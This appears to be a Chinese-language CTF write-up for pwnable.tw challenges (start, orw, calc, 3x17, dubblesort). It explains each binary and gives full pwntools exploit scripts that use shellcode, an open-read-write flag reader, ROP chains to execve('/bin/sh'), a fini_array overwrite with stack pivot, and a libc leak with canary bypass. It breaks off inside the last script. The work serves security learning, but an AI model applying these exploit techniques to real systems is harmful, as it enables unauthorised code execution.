Start

haoo@LAPTOP-QH6DKIQF:/mnt/d/pwnable_tw$ checksec start
[*] '/mnt/d/pwnable_tw/start'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
Stripped: No

一道32位题目,什么保护都没开,直觉就是打shellcode。在ida中发现只有start和exit函数,那就看一下汇编有什么东西

.text:08048060                 public _start
.text:08048060 _start proc near ; DATA XREF: LOAD:08048018↑o
.text:08048060 push esp
.text:08048061 push offset _exit
.text:08048066 xor eax, eax
.text:08048068 xor ebx, ebx
.text:0804806A xor ecx, ecx
.text:0804806C xor edx, edx
.text:0804806E push ':FTC'
.text:08048073 push ' eht'
.text:08048078 push ' tra'
.text:0804807D push 'ts s'
.text:08048082 push 2774654Ch
.text:08048087 mov ecx, esp ; addr
.text:08048089 mov dl, 14h ; len
.text:0804808B mov bl, 1 ; fd
.text:0804808D mov al, 4
.text:0804808F int 80h ; LINUX - sys_write
.text:08048091 xor ebx, ebx
.text:08048093 mov dl, 3Ch ; '<'
.text:08048095 mov al, 3
.text:08048097 int 80h ; LINUX -
.text:08048099 add esp, 14h
.text:0804809C retn

可以看出先是将几个关键的寄存器置零,输出一段字符串,接着用户输入长度为0x3C的字符串,接着平衡栈,退出程序。攻击流程就简单了,因为没有开启NX保护,我们将返回地址修改为输入shellcode的地址去执行就行了。接下来就是先泄漏地址,找一下偏移

pwndbg> cyclic -l 0x61616166
Finding cyclic pattern of 4 bytes: b'faaa' (hex: 0x66616161)
Found at offset 20

因为有输入字符串长度的限制,就在网上找一个短的shellcode就行了,有以下几个可供使用:

shellcode = b"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
shellcode = b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
或者自己写一个,32位就是eax为0xb,ebx指向/bin/sh的地址,ecx与edx为0,为了4字节对齐,这里使用//bin/sh,因为shellcode会被\x00截断,就不要出现\x00
shellcode = '''
xor ecx,ecx
xor edx,edx
push edx ; \x00截断字符串
push 0x68732f6e ; 'n/sh'
push 0x69622f2f ; '//bi'
mov ebx,esp
mov al,0xb
int 0x80
'''

exp如下:

#导入所需库
#--------------------------------------------------------------------------------
from pwn import*
from LibcSearcher import*
from ctypes import*
from struct import*
import time

#设置context
#--------------------------------------------------------------------------------
context(arch='i386', os='linux', log_level='debug')#, terminal=['tmux', 'splitw', '-h'])

#设置是否本地还是远程,并操作、解析相应文件
#--------------------------------------------------------------------------------
pwn_file='./start'
#libc_file=''
#elf=ELF('./start')
#libc=ELF(libc_file)
#rop=ROP(libc)

flag=0
if flag:
io=process(pwn_file)
else:
ip='chall.pwnable.tw'
port=10000
io=remote(ip,port)

#设置自定义函数
#--------------------------------------------------------------------------------
#gdb调试
def debug():
#gdb.attach(io)
#gdb.attach(io,'b *$rebase(0x1234)')
#gdb.attach(io,'b main')
pause()
#lambda表达式

s = lambda data : io.send(data)
sa = lambda delim,data : io.sendafter(str(delim), data)
sl = lambda data : io.sendline(data)
sla = lambda delim,data : io.sendlineafter(str(delim), data)
r = lambda num : io.recv(num)
rl = lambda : io.recvline()
ru = lambda delims, drop = True : io.recvuntil(delims, drop)
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00'))
ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00'))
uu64 = lambda data : u64(data.ljust(8,b'\x00'))
uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
i32 = lambda data : int(io.recv(data), 16)
i64 = lambda data : int(io.recv(data), 16)
ioi = lambda : io.interactive()

#获取libc函数地址
def libc_func_addr(base,func):
return base+libc.sym['func']
#简单的shellcode+orw
def shell():
return asm(shellcraft.sh())
def orw(flag_file_name,addr,count):
return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count))

#gdb.attach(io)
p0 = b"a"*20 + p32(0x08048087)
sa("CTF:",p0)
stack = u32(io.recv(4))
leak('stack',stack)

shellcode_addr = stack + 20
shellcode = b"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
p1 = b"a"*20 + p32(shellcode_addr) + shellcode
s(p1)
#连接
#--------------------------------------------------------------------------------
ioi()

orw

32位打orw,直接打就行了,exp如下:

#导入所需库
#--------------------------------------------------------------------------------
from pwn import*
from LibcSearcher import*
from ctypes import*
from struct import*
import time

#设置context
#--------------------------------------------------------------------------------
context(arch='i386', os='linux', log_level='debug')#, terminal=['tmux', 'splitw', '-h'])

#设置是否本地还是远程,并操作、解析相应文件
#--------------------------------------------------------------------------------
pwn_file='./orw'
#libc_file=''
elf=ELF('./orw')
#libc=ELF(libc_file)
#rop=ROP(libc)

flag=0
if flag:
io=process(pwn_file)
else:
ip='chall.pwnable.tw'
port=10001
io=remote(ip,port)

#设置自定义函数
#--------------------------------------------------------------------------------
#gdb调试
def debug():
#gdb.attach(io)
#gdb.attach(io,'b *$rebase(0x1234)')
#gdb.attach(io,'b main')
pause()
#lambda表达式

s = lambda data : io.send(data)
sa = lambda delim,data : io.sendafter(str(delim), data)
sl = lambda data : io.sendline(data)
sla = lambda delim,data : io.sendlineafter(str(delim), data)
r = lambda num : io.recv(num)
rl = lambda : io.recvline()
ru = lambda delims, drop = True : io.recvuntil(delims, drop)
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00'))
ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00'))
uu64 = lambda data : u64(data.ljust(8,b'\x00'))
uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
i32 = lambda data : int(io.recv(data), 16)
i64 = lambda data : int(io.recv(data), 16)
ioi = lambda : io.interactive()

#获取libc函数地址
def libc_func_addr(base,func):
return base+libc.sym['func']
#简单的shellcode+orw
def shell():
return asm(shellcraft.sh())
def orw(flag_file_name,addr,count):
return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count))

#gdb.attach(io)
shellcode = orw('/home/orw/flag',elf.bss(0x100),0x100)
s(shellcode)
#连接
#--------------------------------------------------------------------------------
ioi()

CVE-2018-1160

这是一道CVE复现的题目

calc

这是一道32位的模拟计算器的题目,实现了+、-、*、/、%。整个流程很简单,设置了alarm(60),然后调用calc函数,最后输出一段字符串。

calc函数如下:

unsigned int calc()
{
_DWORD v1[101]; // [esp+18h] [ebp-5A0h] BYREF
_BYTE s[1024]; // [esp+1ACh] [ebp-40Ch] BYREF
unsigned int v3; // [esp+5ACh] [ebp-Ch]

v3 = __readgsdword(0x14u);
while ( 1 )
{
bzero(s, 0x400u);
if ( !get_expr(s, 1024) )
break;
init_pool(v1);
if ( parse_expr(s, v1) )
{
printf("%d\n", v1[v1[0]]);
fflush(stdout);
}
}
return __readgsdword(0x14u) ^ v3;
}

先是调用bzero函数先分配一段空间并置空,用于存放用户输入的算术表达式,接着进行表达式的输入(过滤了非法字符),然后又分配了一段空间,用于在后续处理表达式时存放一些数据,最后输出v1[v1[0]]的值,进行下一次循环。

进入parse_expr进一步分析:

int __cdecl parse_expr(_BYTE *p_s, _DWORD *a2)
{
int v3; // eax
_BYTE *p_s_1; // [esp+20h] [ebp-88h]
int i; // [esp+24h] [ebp-84h]
int v6; // [esp+28h] [ebp-80h]
_BYTE *v7; // [esp+2Ch] [ebp-7Ch]
char *s1; // [esp+30h] [ebp-78h]
int v9; // [esp+34h] [ebp-74h]
_BYTE s[100]; // [esp+38h] [ebp-70h] BYREF
unsigned int v11; // [esp+9Ch] [ebp-Ch]

v11 = __readgsdword(0x14u);
p_s_1 = p_s;
v6 = 0;
bzero(s, 0x64u);
for ( i = 0; ; ++i )
{
if ( (char)p_s[i] - (unsigned int)'0' > 9 )
{
......
}
}
while ( v6 >= 0 )
eval(a2, s[v6--]);
return 1;
}

这里看起来有点复杂,但其实逻辑上很简单,主要是对输入的算术表达式中每一个字符进行分析处理,如果这个字符是运算符,就进入if语句,否则就处理下一个字符,最后再进行一些运算。这里也调用了bzero函数分配了块空间,用于存放运算符。

进入if语句进行分析:

v7 = (_BYTE *)(&p_s[i] - p_s_1);
s1 = (char *)malloc(v7 + 1);
memcpy(s1, p_s_1, v7);
s1[(_DWORD)v7] = 0;
if ( !strcmp(s1, "0") )
{
puts("prevent division by zero");
fflush(stdout);
return 0;
}

首先是计算运算符的左侧有多少个字符,并将这些字符组成的字符串存放在一块空间里面,接着判断这段字符串不能是0,否则就退出,当然这里有个小bug,因为0只是不能当除数。

v9 = atoi(s1);
if ( v9 > 0 )
{
v3 = (*a2)++;
a2[v3 + 1] = v9;
}
if ( p_s[i] && (char)p_s[i + 1] - (unsigned int)'0' > 9 )
{
puts("expression error!");
fflush(stdout);
return 0;
}
p_s_1 = &p_s[i + 1];

接着将运算符左边的操作数转换为整形并保存到初始化了的pool中,也就是calc函数中的v1,从代码逻辑上来看,操作数是从v1[1]开始存的,因为(*a2)++是先赋值再自增,那么v1[0]存放的应该就是当前运算数的个数。也就是说每当有操作数存入到v1中,v1[0]的值就会加1,比如如果值为1,那么就会将当前的操作数存入到v1[2]中。接着就是判断一下算术表达式是否正确,避免出现运算符后面跟着运算符的情况。

if ( s[v6] )
{
switch ( p_s[i] )
{
case '%':
case '*':
case '/':
if ( s[v6] != '+' && s[v6] != '-' )
goto LABEL_14;
s[++v6] = p_s[i];
break;
case '+':
case '-':
LABEL_14:
eval(a2, s[v6]);
s[v6] = p_s[i];
break;
default:
eval(a2, s[v6--]);
break;
}
}
else
{
s[v6] = p_s[i];
}
if ( !p_s[i] )
break;

这段代码是比较关键的,首先会判断s[v6]这个位置是否存放了相应的运算符,因为首先s[]里面是没有任何东西的,因此第一次会直接将第一个运算符放入进去,当我们处理下一个运算符时,s[]里面存放着是前一个运算符,举个例子——1-2+3,当我们处理+时,s[v6]存放着-,并进行if语句里面执行相应的运算,运算结束后接着保存当前处理的运算符并等待着下一次运算。

来看一下eval函数

_DWORD *__cdecl eval(_DWORD *a1, char n47)
{
_DWORD *result; // eax

if ( n47 == '+' )
{
a1[*a1 - 1] += a1[*a1];
}
else if ( n47 > 43 )
{
if ( n47 == 45 )
{
a1[*a1 - 1] -= a1[*a1];
}
else if ( n47 == 47 )
{
a1[*a1 - 1] /= (int)a1[*a1];
}
}
else if ( n47 == 42 )
{
a1[*a1 - 1] *= a1[*a1];
}
result = a1;
--*a1;
return result;
}
参数a1就是calc中的v1

可以看到计算结果会保存到第一个数的位置,也相当于v1[v1[0]-1]=v1[1],接着就是不断的重复不断的重复,当函数parse_expr(s, v1)结束后

.text:080493F6                 mov     eax, [ebp-5A0h]
.text:080493FC sub 1
.text:080493FF mov eax, [ebp+eax*4-59Ch]
.text:08049406 mov [esp+4], eax
.text:0804940A mov dword ptr [esp], offset p__d_n ; "%d\n"
.text:08049411 call printf

可以看出ebp-5A0h处是v1[0],那么ebp-59Ch处就是v1[1],最后会输出v1[v1[0]]处的值。ok,关键点就来了,在之前的分析中说到,最后输出的值会存放到v1[1]里面,而这个1是由v1[0]-1得到的,因为我们正常运算的情况下,v1[0]-1就是等于1,但是是不是可以修改v1[0]的值呢,从而达到泄漏栈上某位置的数据呢?那就来看一下v1[0]是从哪一步改变的

v9 = atoi(s1);
if ( v9 > 0 )
{
v3 = (*a2)++;
a2[v3 + 1] = v9;
}

v1[0]的初始值为0,如果左操作数存在,那么就将操作数放入v1[v1[0]+1]处,并将v1[0]的值加1,那么问题来了,如果左操作数不存在呢,v1[0]的值在下次处理的时候还是0,当第一次进入eval函数时,就会出现一个运算符和仅有一个操作数的情况,例如+300的情况,此时v1[0]=1、v1[1]=300、s[0]=+,在eval函数中

v1[*v1-1]=v1[*v1-1]+v1[*v1]

就相当于v1[0]=v1[0]+v1[1]=301,最后v1[0]自减得到300,最后输出v1[300],因为v1[0]是ebp-5A0h,就相当于输出ebp-F0h里面的数据

=== Welcome to SECPROG calculator ===
+300
0

由于每次循环都会进行一次清零,所以是修改不了一定范围内的值,例如

=== Welcome to SECPROG calculator ===
+300-20
-20
+300
0

所以就找一个范围外的来进行操作,例如

=== Welcome to SECPROG calculator ===
+400
-2623876
+400-20
-2623896
+400
-2623896

可以看到已经修改完成了,那么接下来就来进行修改返回地址了,在上述分析中v1[0]在ebp-5A0h处,那么返回地址在v1[361]处,我们来进行泄漏

=== Welcome to SECPROG calculator ===
$ +361
134517913

换成16进制就是0x8049499,这个地址就是

.text:08049499                 mov     dword ptr [esp], offset aMerryChristmas ; "Merry Christmas!"

ok,那么接下来的攻击思路就清晰了,不断构造畸形的算数表达式修改相应地址的数据,造成栈溢出,获得shell。这时候再回过头来看看这道题有什么保护机制

haoo@LAPTOP-QH6DKIQF:/mnt/d/pwnable_tw$ checksec calc
[*] '/mnt/d/pwnable_tw/calc'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
haoo@LAPTOP-QH6DKIQF:/mnt/d/pwnable_tw$ file calc
calc: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=26cd6e85abb708b115d4526bcce2ea6db8a80c64, not stripped

32位静态链接程序,说明给的东西会很多,因此考虑通过ROP链构造execve(“/bin/sh”,0,0)从而获得shell。想达到这种效果,首先得让eax=11,ebx=”/bin/sh”的地址,ecx=0,edx=0,最后int 80h

0x0805c34b : pop eax ; ret
0x080701d1 : pop ecx ; pop ebx ; ret
0x080701aa : pop edx ; ret
0x08049a21: int 0x80;

接下来就是修改v1[361]至v1[370]中的值了,其他几个都好弄,比较麻烦的就/bin/sh字符串的地址,因为是栈上,而且到现在还没有获得到栈基址,看起来就有点难办了?并非,因为在栈里面有一个很关键的一点,当前栈帧存放着调用者的栈帧基址,可以通过当前的ebp来寻找,因此在这道题里面,可以找到main的栈基址,再找到main函数与calc的关系就可以获得calc的栈基址了。

pwndbg> x/8wx $ebp
0xfff5cfb8: 0xfff5cfd8

通过调试可以知道,其相差0x20,因此泄漏的ebp-0x20+4就是ROP链开始的地方,接着再加上相应的偏移就是/bin/sh的地址了。借鉴了一下其他师傅的exp如下:

#导入所需库
#--------------------------------------------------------------------------------
from pwn import*
from LibcSearcher import*
from ctypes import*
from struct import*
import time

#设置context
#--------------------------------------------------------------------------------
context(arch='i386', os='linux') #log_level='debug')#, terminal=['tmux', 'splitw', '-h'])

#设置是否本地还是远程,并操作、解析相应文件
#--------------------------------------------------------------------------------
pwn_file='./calc'
#libc_file=''
#elf=ELF('./start')
#libc=ELF(libc_file)
#rop=ROP(libc)

flag=1
if flag:
io=process(pwn_file)
else:
ip='chall.pwnable.tw'
port=10100
io=remote(ip,port)

#设置自定义函数
#--------------------------------------------------------------------------------
#gdb调试
def debug():
#gdb.attach(io)
#gdb.attach(io,'b *$rebase(0x1234)')
#gdb.attach(io,'b main')
pause()
#lambda表达式

s = lambda data : io.send(data)
sa = lambda delim,data : io.sendafter(str(delim), data)
sl = lambda data : io.sendline(data)
sla = lambda delim,data : io.sendlineafter(str(delim), data)
r = lambda num : io.recv(num)
rl = lambda : io.recvline()
ru = lambda delims, drop = True : io.recvuntil(delims, drop)
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00'))
ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00'))
uu64 = lambda data : u64(data.ljust(8,b'\x00'))
uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
i32 = lambda data : int(io.recv(data), 16)
i64 = lambda data : int(io.recv(data), 16)
ioi = lambda : io.interactive()

#获取libc函数地址
def libc_func_addr(base,func):
return base+libc.sym['func']
#简单的shellcode+orw
def shell():
return asm(shellcraft.sh())
def orw(flag_file_name,addr,count):
return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count))

pop_eax_ret = 0x0805c34b
pop_ecx_pop_ebx_ret = 0x080701d1
pop_edx_ret = 0x080701aa
int_80 = 0x08049a21

ebp_offest = int(0x5A0/4)
rop_addr_offset = ebp_offest+1

io.recv()
sl("+"+str(ebp_offest))
saved_ebp = int(io.recvline().strip())

payload = [pop_eax_ret,0xb]
payload += [pop_edx_ret,0]
payload += [pop_ecx_pop_ebx_ret,0,0]
payload += [int_80]
bin_sh_addr = saved_ebp - 0x20 + len(payload)*4 + 4

payload[6] = bin_sh_addr
payload += [0x6e69622f, 0x0068732f]

for i in range(len(payload)):
io.sendline("+" + str(rop_addr_offset + i))
val = int(io.recvline().strip())
offset = payload[i] - val
if offset < 0:
io.sendline("+" + str(rop_addr_offset + i) + str(offset))
else:
io.sendline("+" + str(rop_addr_offset + i) + "+" + str(offset))
io.recv()
io.sendline()
#连接
#--------------------------------------------------------------------------------
ioi()

3x17

haoo@LAPTOP-QH6DKIQF:/mnt/d/pwnable_tw$ checksec 3x17
[*] '/mnt/d/pwnable_tw/3x17'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
haoo@LAPTOP-QH6DKIQF:/mnt/d/pwnable_tw$ file 3x17
3x17: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=a9f43736cc372b3d1682efa57f19a4d5c70e41d3, stripped

一道64位静态链接的题目,尽管check说是没有canary保护,但是放入ida中可以看到还是有canary保护的。这道题去除了符号表,因此先运行一下程序,方便找一下main函数在哪

haoo@LAPTOP-QH6DKIQF:/mnt/d/pwnable_tw$ ./3x17
addr:111
data:111

ok。这样就好找到主函数了

__int64 sub_401B6D()
{
__int64 result; // rax
char *buf_1; // [rsp+8h] [rbp-28h]
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);
result = (unsigned __int8)++byte_4B9330;
if ( byte_4B9330 == 1 )
{
sub_446EC0(1u, "addr:", 5u);
sub_446E20(0, buf, 0x18u);
buf_1 = (char *)(int)sub_40EE70(buf);
sub_446EC0(1u, "data:", 5u);
sub_446E20(0, buf_1, 0x18u);
result = 0;
}
if ( __readfsqword(0x28u) != v3 )
sub_44A3E0();
return result;
}

确实也是有canary保护检测的。这个看起来像是任意地址写。由于sub_40EE70(buf)函数实在是太长了,在这里就不放出来了,让ai分析一下,可以知道大致就是一个atoll的功能,将十进制数转换为8字节地址,接着就是向这个地址输入0x18字节的数据。

现在就是思考在没有给出栈地址和/bin/sh的情况下,如何利用这一次任意地址写。我们知道在程序中main并不是开始,而是

程序启动——__libc_start_main——__libc_csu_init()——调用顺序(_init_array[0..n])——main()——__libc_csu_fini()——调用顺序(_fini_array[n..0])

那么是不是可以修改_fini_array中的函数为我们想要的函数,就能够控制执行流了

.fini_array:00000000004B40F0 ; ===========================================================================
.fini_array:00000000004B40F0
.fini_array:00000000004B40F0 ; Segment type: Pure data
.fini_array:00000000004B40F0 ; Segment permissions: Read/Write
.fini_array:00000000004B40F0 _fini_array segment qword public 'DATA' use64
.fini_array:00000000004B40F0 assume cs:_fini_array
.fini_array:00000000004B40F0 ;org 4B40F0h
.fini_array:00000000004B40F0 off_4B40F0 dq offset sub_401B00 ; DATA XREF: sub_4028D0+4C↑o
.fini_array:00000000004B40F0 ; sub_402960+8↑o
.fini_array:00000000004B40F8 dq offset loc_401580
.fini_array:00000000004B40F8 _fini_array ends
.fini_array:00000000004B40F8

有两个8字节大小够我们操作,那么一个写入main,一个写入__libc_csu_fini(),从而理论上实现任意地址写。

由于这道题是静态链接且什么都没给的情况下,想法就是构造execve(“/bin/sh”,0,0),而这道题又没给/bin/sh字符串,就得要找到一个地方写入ROP链并且能够执行这段ROP链,这里想到的就是栈迁移。在__libc_csu_fini()汇编里面观察一下,发现会将0x4B40F0赋值给rbp,而这个地址就是fini_array

.text:0000000000402960 ; =============== S U B R O U T I N E =======================================
.text:0000000000402960
.text:0000000000402960
.text:0000000000402960 sub_402960 proc near ; DATA XREF: start+F↑o
.text:0000000000402960 ; __unwind {
.text:0000000000402960 push rbp
.text:0000000000402961 lea rax, unk_4B4100
.text:0000000000402968 lea rbp, off_4B40F0
.text:000000000040296F push rbx
.text:0000000000402970 sub rax, rbp
.text:0000000000402973 sub rsp, 8
.text:0000000000402977 sar rax, 3
.text:000000000040297B jz short loc_402996
.text:000000000040297D lea rbx, [rax-1]
.text:0000000000402981 nop dword ptr [rax+00000000h]
.text:0000000000402988
.text:0000000000402988 loc_402988: ; CODE XREF: sub_402960+34↓j
.text:0000000000402988 call qword ptr [rbp+rbx*8+0]
.text:000000000040298C sub rbx, 1
.text:0000000000402990 cmp rbx, 0FFFFFFFFFFFFFFFFh
.text:0000000000402994 jnz short loc_402988
.text:0000000000402996
.text:0000000000402996 loc_402996: ; CODE XREF: sub_402960+1B↑j
.text:0000000000402996 add rsp, 8
.text:000000000040299A pop rbx
.text:000000000040299B pop rbp
.text:000000000040299C jmp _term_proc
.text:000000000040299C ; } // starts at 402960
.text:000000000040299C sub_402960 endp
.text:000000000040299C
.text:000000000040299C ; ---------------------------------------------------------------------------

如果在此时直接leave;ret;的话,rsp就会是0x4B4100

.data.rel.ro:00000000004B4100 ; ===========================================================================
.data.rel.ro:00000000004B4100
.data.rel.ro:00000000004B4100 ; Segment type: Pure data
.data.rel.ro:00000000004B4100 ; Segment permissions: Read/Write
.data.rel.ro:00000000004B4100 _data_rel_ro segment align_32 public 'DATA' use64
.data.rel.ro:00000000004B4100 assume cs:_data_rel_ro
.data.rel.ro:00000000004B4100 ;org 4B4100h
.data.rel.ro:00000000004B4100 unk_4B4100 db 2 ; DATA XREF: sub_402960+1↑o
.data.rel.ro:00000000004B4100 ; sub_40EBF0:loc_40ECC8↑o ...

这是一段rel.ro,也就是说只读,但是呢用readelf -S ./3x17这条命令来看,这段是可写的,那就好了,下面只需要构造好内容再栈迁移就行了。

#导入所需库
#--------------------------------------------------------------------------------
from pwn import*
from LibcSearcher import*
from ctypes import*
from struct import*
import time

#设置context
#--------------------------------------------------------------------------------
context(arch='i386', os='linux', log_level='debug')#, terminal=['tmux', 'splitw', '-h'])

#设置是否本地还是远程,并操作、解析相应文件
#--------------------------------------------------------------------------------
pwn_file='./3x17'
#libc_file=''
#elf=ELF('./start')
#libc=ELF(libc_file)
#rop=ROP(libc)

flag=1
if flag:
io=process(pwn_file)
else:
ip='chall.pwnable.tw'
port=10105
io=remote(ip,port)

#设置自定义函数
#--------------------------------------------------------------------------------
#gdb调试
def debug():
#gdb.attach(io)
#gdb.attach(io,'b *$rebase(0x1234)')
#gdb.attach(io,'b main')
pause()
#lambda表达式

s = lambda data : io.send(data)
sa = lambda delim,data : io.sendafter(str(delim), data)
sl = lambda data : io.sendline(data)
sla = lambda delim,data : io.sendlineafter(str(delim), data)
r = lambda num : io.recv(num)
rl = lambda : io.recvline()
ru = lambda delims, drop = True : io.recvuntil(delims, drop)
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00'))
ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00'))
uu64 = lambda data : u64(data.ljust(8,b'\x00'))
uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
i32 = lambda data : int(io.recv(data), 16)
i64 = lambda data : int(io.recv(data), 16)
ioi = lambda : io.interactive()

#获取libc函数地址
def libc_func_addr(base,func):
return base+libc.sym['func']
#简单的shellcode+orw
def shell():
return asm(shellcraft.sh())
def orw(flag_file_name,addr,count):
return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count))

#gdb.attach(io)
def dd(addr, data):
sa("addr:",str(addr))
sa("data:",data)
fini_addr = 0x00000000004B40F0
main_addr = 0x0000000000401B6D
libc_csu_fini = 0x0000000000402960

pop_rdi = 0x0000000000401696
pop_rsi = 0x0000000000406c30
pop_rdx = 0x0000000000446e35
pop_rax = 0x000000000041e4af
syscall = 0x00000000004022b4
leave_ret = 0x0000000000401c4b

dd(fini_addr, p64(libc_csu_fini)+p64(main_addr))

dd(fini_addr+0x10,p64(pop_rdi)+p64(fini_addr+0x58))
dd(fini_addr+0x20,p64(pop_rsi)+p64(0))
dd(fini_addr+0x30,p64(pop_rdx)+p64(0))
dd(fini_addr+0x40,p64(pop_rax)+p64(59))
dd(fini_addr+0x50,p64(syscall))
dd(fini_addr+0x58,b"/bin/sh\x00")

dd(fini_addr,p64(leave_ret))
#连接
#--------------------------------------------------------------------------------
ioi()

dubblesort

haoo@LAPTOP-QH6DKIQF:/mnt/d/pwnable_tw$ checksec dubblesort
[*] '/mnt/d/pwnable_tw/dubblesort'
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

看起来保护是全开了的,应该是有点难度,给了我们libc文件,patchelf一下,运行一下这个程序

[+] Opening connection to chall.pwnable.tw on port 10101: Done
[*] Switching to interactive mode
What your name :$ haoo
Hello haoo
O\xbc\xff/,How many numbers do you what to sort :$ 4
Enter the 0 number : $ 1
Enter the 1 number : $ 2
Enter the 2 number : $ 3
Enter the 3 number : $ 4
Processing......
Result :
1 2 3 4 [*] Got EOF while reading in interactive
$

可以大致知道,这道题先输入名字,再输入数字进行排序。放入ida中进行分析一下

int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
unsigned int *v4; // edi
unsigned int i; // esi
unsigned int j; // esi
int result; // eax
unsigned int v8; // [esp+18h] [ebp-74h] BYREF
unsigned int v9[8]; // [esp+1Ch] [ebp-70h] BYREF
_BYTE buf[64]; // [esp+3Ch] [ebp-50h] BYREF
unsigned int v11; // [esp+7Ch] [ebp-10h]

v11 = __readgsdword(0x14u);
sub_8B5();
__printf_chk(1, (int)"What your name :");
read(0, buf, 0x40u);
__printf_chk(1, (int)"Hello %s,How many numbers do you what to sort :");
__isoc99_scanf("%u", &v8);
v3 = v8;
if ( v8 )
{
v4 = v9;
for ( i = 0; i < v8; ++i )
{
__printf_chk(1, (int)"Enter the %d number : ");
fflush(stdout);
__isoc99_scanf("%u", v4);
v3 = v8;
++v4;
}
}
sub_931(v9, v3);
puts("Result :");
if ( v8 )
{
for ( j = 0; j < v8; ++j )
__printf_chk(1, (int)"%u ");
}
result = 0;
if ( __readgsdword(0x14u) != v11 )
sub_BA0();
return result;
}

从运行可以看到,在输出name的同时会输出一些别的东西,那么就说明可以泄漏一些东西,比如libc基址,通过动调后,可以写入下面这个泄漏脚本

sl(b"a"*28)
io.recvuntil(b"a"*28)
libc_base = u32(io.recv(4))-0x1b000a
leak("libc_base", libc_base)
[+] Opening connection to chall.pwnable.tw on port 10101: Done
[+] libc_base = 0xf75c3000
[*] Switching to interactive mode
\x01\xc6_V\xa9\xc7_V\xa0\xdf_V\x01,How many numbers do you what to sort :$

ok,泄楼完成后就能得到很多东西了。现在就有一个问题,就是有了这些东西后,怎么绕过canary保护并覆盖返回地址。那就看一下这段代码

if ( v8 )
{
v4 = v9;
for ( i = 0; i < v8; ++i )
{
__printf_chk(1, (int)"Enter the %d number : ");
fflush(stdout);
__isoc99_scanf("%u", v4);
v3 = v8;
++v4;
}
}

这里有一点是很重要的就是并不是所有非法输入都会导致scanf卡死,可以通过+、-跳过当前这一轮的输入,因为v4是edi指针,每读到一个数据,这个指针就会下移继续读取下一个,没有检测scanf的返回值,那么就可以通过输入+、-来跳过对canary地址处的数据输入。得再注意一下排序就行了。exp如下:

#导入所需库
#--------------------------------------------------------------------------------
from pwn import*
from LibcSearcher import*
from ctypes import*
from struct import*
import time

#设置context
#--------------------------------------------------------------------------------
context(arch='i386', os='linux') #log_level='debug')#, terminal=['tmux', 'splitw', '-h'])

#设置是否本地还是远程,并操作、解析相应文件
#--------------------------------------------------------------------------------
pwn_file='./dubblesort'
libc_file='./dubblesort_libc.so.6'
elf=ELF('./dubblesort')
libc=ELF(libc_file)
#rop=ROP(libc)

flag=0
if flag:
io=process(pwn_file)
else:
ip='chall.pwnable.tw'
port=10101
io=remote(ip,port)

#设置自定义函数
#--------------------------------------------------------------------------------
#gdb调试
def debug():
#gdb.attach(io)
#gdb.attach(io,'b *$rebase(0x1234)')
#gdb.attach(io,'b main')
pause()
#lambda表达式

s = lambda data : io.send(data)
sa = lambda delim,data : io.sendafter(str(delim), data)
sl = lambda data : io.sendline(data)
sla = lambda delim,data : io.sendlineafter(str(delim), data)
r = lambda num : io.recv(num)
rl = lambda : io.recvline()
ru = lambda delims, drop = True : io.recvuntil(delims, drop)
leak = lambda name,addr : log.success('{} = {:#x}'.format(name, addr))
ur32 = lambda data : u32(io.recv(data).rjust(4,b'\x00'))
ur64 = lambda data : u64(io.recv(data).rjust(8,b'\x00'))
uu64 = lambda data : u64(data.ljust(8,b'\x00'))
uul32 = lambda : u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
